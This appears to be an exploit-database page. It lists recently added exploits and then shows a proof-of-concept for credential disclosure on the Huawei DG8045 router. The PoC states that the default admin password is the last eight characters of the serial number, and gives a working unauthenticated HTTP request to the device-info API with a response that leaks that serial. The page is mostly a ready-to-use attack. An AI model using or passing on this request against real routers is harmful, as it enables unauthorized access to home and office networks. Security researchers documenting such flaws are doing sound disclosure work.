ad453a2c73
17 changes to exploits/shellcodes CONTPAQi(R) AdminPAQ 14.0.0 - Unquoted Service Path Mozilla Firefox 67 - Array.pop JIT Type Confusion Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service) Ametys CMS v4.4.1 - Cross Site Scripting (XSS) uBidAuction v2.0.1 - 'Multiple' Cross Site Scripting (XSS) Chamilo LMS 1.11.14 - Account Takeover Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated) WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated) Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) PHP Restaurants 1.0 - SQLi (Unauthenticated) Moodle 3.11.4 - SQL Injection Huawei DG8045 Router 1.0 - Credential Disclosure PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS) WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
42 lines
No EOL
1.3 KiB
Text
42 lines
No EOL
1.3 KiB
Text
# Title: Huawei DG8045 Router 1.0 - Credential Disclosure
|
|
# Date: 2020-06-24
|
|
# Author: Abdalrahman Gamal
|
|
# Vendor Homepage: www.huawei.com
|
|
# Version: dg8045
|
|
# HardwareVersion: VER.A
|
|
# CVE: N/A
|
|
|
|
#POC:
|
|
|
|
The default password of this router is the last 8 characters of the
|
|
device's serial number which exist in the back of the device.
|
|
|
|
An attacker can leak the serial number via the web app API like the
|
|
following:
|
|
|
|
************************Request************************
|
|
GET /api/system/deviceinfo HTTP/1.1
|
|
Host: 192.168.1.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
|
|
Gecko/20100101 Firefox/65.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://192.168.1.1/
|
|
X-Requested-With: XMLHttpRequest
|
|
Connection: close
|
|
|
|
|
|
************************Response************************
|
|
HTTP/1.1 200 OK
|
|
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|
|
X-Download-Options: noopen
|
|
X-Frame-Options: SAMEORIGIN
|
|
X-XSS-Protection: 1; mode=block
|
|
Date: Thu, 24 Jun 2021 02:07 GMT+2
|
|
Connection: Keep-Alive
|
|
Content-Language: en
|
|
Content-Type: application/javascript
|
|
Content-Length: 141
|
|
|
|
while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/ |